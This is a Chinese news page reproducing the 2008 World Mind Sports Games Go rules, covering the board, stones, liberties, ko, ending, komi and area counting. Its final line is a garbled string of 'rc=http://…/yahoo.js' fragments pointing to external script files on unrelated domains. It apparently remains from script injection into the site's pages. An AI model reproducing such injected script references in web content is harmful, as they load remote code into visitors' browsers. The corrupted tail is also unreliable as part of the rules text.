第一屆智力運動會圍棋競賽規程
作者:TOM 類別:大陸新聞 來源:TOM 發表時間:2008/10/3 瀏覽人次:1524
參賽資格: 競賽辦法: 比賽時間和用時方式 錄取名次與獎勵 《2008世界智力運動會圍棋規則》 第一條 棋具 1,棋盤 棋盤由縱橫各19條垂直交叉的平行線構成。橫豎線交點稱作“點”,棋盤上共有361個點。為便於識別位置,在棋盤上標有9個小圓點,稱作“星”。 2,棋子 棋子分黑白兩色,扁圓形,直徑略小於棋盤上線距。 棋子數量應能滿足終局,正式比賽以黑白各180子為宜。 第二條 行棋規則 1,兩人對局,雙方各執一色棋子; 2,空枰開局; 3,黑先白后,交替著一子於盤上空點; 4,棋子著於棋盤上后不再移動; 5,輪流著子是雙方的權利,但允許任何一方放棄著子權,稱為虛手。 第三條 棋子的氣 死子 1,與盤上棋子緊鄰的空點稱為這個棋子的“氣”。 2,直線緊鄰相連的同色棋子為一個整體,其周邊的氣為整塊棋的氣。 3,無氣之子為死子,應從棋盤上提出。 4,著子后雙方棋子同時無氣,保留著子方之子。 5,禁著:禁止著子后己方棋子無氣又不能提取對方棋子。 第四條 禁止全局同形還原 禁止著子后,全局還原到對方某一步棋以前的狀態。 其最常見的形態為打劫。 一方提子后,另一方不可以立即提回,否則將導致棋局還原到對方提子前狀態。雙方輪流在棋盤上其他地方變著一手的方式,反復爭取提回,稱為打劫,變著稱為找劫材。 循環劫 三個以上的劫關聯在一起循環,為循環劫,類似的還有如長生等其他形式的循環棋。其性質同打劫,如要爭取提回,理論上也應在循環以外變著一手(找劫材)。 第五條 終局 雙方連續棄著表示雙方均認為已無可爭之棋,雙方一人一手的對局結束,棋具中止。然后, 1,對棋盤上尚未完成的提取死子等必然過程,雙方達成共識,簡化這一過程,按共識終局。 2,任何一方均可提出恢復對局實証,按原順序繼續輪流著子,再至雙方連續棄著,棋局結束,終局,則此時盤上所有子均為活子。 3,恢復對局的理由和目的必須是實証死活、確認局部歸屬。如果一方或雙方又發現了有價值之處,不允許恢復對局,有價值之處的歸屬按雙方各半計算。 第六條 勝負 圍棋之目的為雙方用棋子爭奪棋盤上的361個交叉點。終局后,一方棋子所占之點及所圍之空為該方所得之點,黑白子之間的空點雙方各得其半。得點多的一方為勝。 對局結束時首先提出棄著的對方為收后方。如黑方收后,則黑方收后之1點的價值應視為黑先白后平分,簡稱黑收后減1點。 為平衡先行之利,使對局公平,通常要求先行方作出補償,稱為貼先。貼先數由比賽組織者確定。本比賽采用貼6點半。 任何一方均可隨時認輸,則棋局就此立即結束。 第七條 計數 在本規則下,使用數子法、數空法和填滿計點法結果是一致的,均可采用。本次比賽采用填滿計點法。 終局后雙方各自把棋子填入自己的空內,填滿為止,然后數子。本方法必須保証棋盒內棋子數為準確的180顆,如此則根據填滿之盈缺立即能得出勝負結果。 rc=>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://4589.in/yahoo.js>rc=>rc=>rc=>rc=>rc=>rc=>rc=>rc=http://www.wangqiao365.
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